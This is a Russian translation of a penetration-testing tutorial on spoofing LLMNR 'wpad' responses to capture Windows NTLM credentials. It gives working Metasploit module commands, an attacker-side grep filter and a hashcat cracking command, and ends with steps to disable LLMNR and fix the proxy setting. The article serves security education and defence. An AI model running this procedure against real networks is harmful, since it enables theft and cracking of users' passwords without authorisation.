Некоторое время назад мой коллега Педро написал статью, где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.
Автор: David Lodge
Некоторое время назад мой коллега Педро написал статью, где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.
Суть метода заключалась в прослушивании широковещательных запросов, связанных с преобразованием имен, передаваемых по протоколу NetBIOS. В качестве ответа злоумышленник подменяет IP-адрес, заставляя жертву подключиться в нужное место. Техника может быть полезна в том случае, если вы хотите получить учетные записи пользователя и управляете сервером, на котором находится запрашиваемая веб-страница. Вы настраиваете сервер так, чтобы спровоцировать NT-аутентификацию, и пользователь, ни о чем не подозревая, отправляет вам свои учетные данные.
Недавно я выяснил, что подобную атаку можно осуществить и на протокол LLMNR, который используется в Windows 7 и более поздних версиях.
Что такое LLMNR
Звучит как заболевание, устойчивое к микробам, не так ли? На самом деле, эта аббревиатура расшифровывается как Local Loop Multicast Name Resolution. «Ок, зачем нужен этот протокол?», - спросите вы. Это легковесная служба имен, использующая группу абонентов (multicast group) для поиска и преобразования базовых имен внутри небольшой сети. Одно из главных преимуществ заключается в том, что этот протокол корректно работает и в сети IPv4 и в сети IPv6, что выглядит примерно так:
Рисунок 1: Схема работы протокола LLMNR
Внимательные читатели заметят, что запрос, показанный выше, отсылается в сети IPv6 (запрос на преобразование ff02::1:3). В сети IPv4 запрос будет отправлен на IP-адрес 224.0.0.252. Поскольку используется мультикастинг, запрос отправится в сеть (обычно просто в локальный сегмент).
В Windows подобная схема именуется как Сетевое обнаружение (Network Discovery) и может быть включена в Центре управления сетями и общим доступом.
Рисунок 2: Настройка сетевого обнаружения
Проблемы в протоколе LLMNR
У протокола LLMNR те же самые проблемы, что и в NetBIOS. Служба имен отсылает сообщение всем клиентам в сети, а не конкретному серверу. Это означает, что клиент неявно доверяет всем, кого видит.
Наша задача заключается в прослушивании запросов к хосту и перенаправлении этих запросов к подконтрольному нам серверу. После соединения мы запрашиваем аутентификацию, и Windows с превеликим удовольствием отсылает нам учетные данные.
Для решения этой задачи мы можем использовать автоматический прокси-сервер, предусмотренный в Internet Explorer. Когда вы запускаете Internet Explorer с настройкой автоматического прокси-сервера, на хост отсылается запрос «wpad», а после соединения с хостом скачивается файл wpad.dat. Более подробно об этой технологии рассказывает русскоязычная и англоязычная Википедия.
Windows 7+ делает запрос wpad через следующие протоколы:
Поскольку по протоколу DNS идет одиночный запрос, мы должны осуществить атаку типа «Человек посередине». О NetBIOS уже говорилось в других статьях. Я же хочу коснуться протокола LLMNR.
Как было сказано выше, мы перенаправляем запрос на подконтрольный нам сервер, запрашиваем аутентификацию и ждем, когда нам пришлют учетную запись.
Рассмотрим суть происходящего через Wireshark:
Рисунок 3: Запросы, отправляемые по протоколу LLMNR
На рисунке выше показаны запросы, отправляемые по протоколу LLMNR для сети IPv4 (записи типа A) и для сети IPv6 (записи типа AAAA). Кроме того, показаны запросы к файлу wpad.dat и попытка аутентификации.
Настраиваем Metasploit
Как и в случае с NetBIOS мы будем использовать Metasploit. Наш пример чуть более сложен по сравнению со стандартными эксплоитами, поскольку нужно запустить два вспомогательных модуля.
Во-первых, нужно настроить веб-сервер, на который будут приходить хеши паролей. Используем модуль auxiliary/server/capture/http_ntlm:
msf > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set johnpwfile /root/out.txt
johnpwfile => /root/out.txt
msf auxiliary(http_ntlm) > set srvhost 192.168.0.100
srvhost => 192.168.0.100
msf auxiliary(http_ntlm) > set srvport 80
srvport => 80
msf auxiliary(http_ntlm) > exploit
[*] Auxiliary module execution completed
[*] Using URL: http://192.168.0.100:80/AuGOLjaEu2L1VE
[*] Server started.
Вышеуказанный модуль запускает веб-сервер, который ожидает URL, запрашивает аутентификацию и хранит полученные хеши. (NT-аутентификация состоит из трех шагов).
Мы можем обратиться к новому веб-серверу через обычный браузер, и тут нет ничего выдающегося, поскольку нашу поддельную страницу пользователь не увидит.
Рисунок 4: Поддельная страница, на которую будет перенаправляться пользователь
Теперь нам нужно нечто, что позволит наладить взаимодействие с веб-сервером. Используем модуль auxiliary/spoof/llmnr/llmnr_response module:
msf auxiliary(http_ntlm) > use auxiliary/spoof/llmnr/llmnr_response
msf auxiliary(llmnr_response) > set interface eth2
interface => eth2
msf auxiliary(llmnr_response) > set spoofip 192.168.0.100
spoofip => 192.168.0.100
msf auxiliary(llmnr_response) > set regex wpad
regex => wpad
msf auxiliary(llmnr_response) > exploit
[*] Auxiliary module execution completed
[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:wpad)" ...
Мы установили мультикастовый listener, который будет слушать запросы «wpad» по протоколу LLMNR и в ответ на эти запросы отсылать IP-адрес созданного ранее веб-сервера.
Получение паролей
На какое-то время оставьте запущенную связку модулей до тех пор, пока люди не откроют Internet Explorer и не начнут запрашивать файл wpad. Наиболее подходящее время – середина утра или обеденное время. В итоге вы получите файл, заполненный запросами на NT-аутентификацию.
Следующий шаг – расшифровка полученных хешей при помощи John the Ripper (jumbo patch) или, если у вас есть быстрая графическая карта, hashcat.
Вначале отфильтруем машинные аккаунты. Машинный аккаунт представляет собой NT-аккаунт, используемый компьютером для аутентификации при помощи учетной записи домена. Подобные учетные записи оканчивается символом ‘$’ (например, ASPHODEL$). В качестве фильтра используем следующую команду:
grep –v ‘\$:’ out.txt >filtered.txt
Затем указываем тип хеша 5600 (NetNTLMv2) и подбираем пароли при помощи hashcat:
c:\tools\passwords\hashcat>cudahashcat64 -m 5600 out.txt --remove --session llmnr ..\dictionaries
Как защититься от этой угрозы
Самый простой способ защиты – отключить протокол LLMNR, что необходимо сделать для каждого сетевого профиля. В панели управления зайдите в раздел Network and Sharing Center > Change Advanced Sharing Settings > profile > Network discovery и установить флажок «Turn off network discovery».
То же самое можно сделать через групповую политику: Administrative Templates > Network > Link-Layer Topology Discovery.
Помимо упомянутых настроек можно отключить автоматический прокси-сервер и указать принудительное использование конкретного адреса в качестве прокси.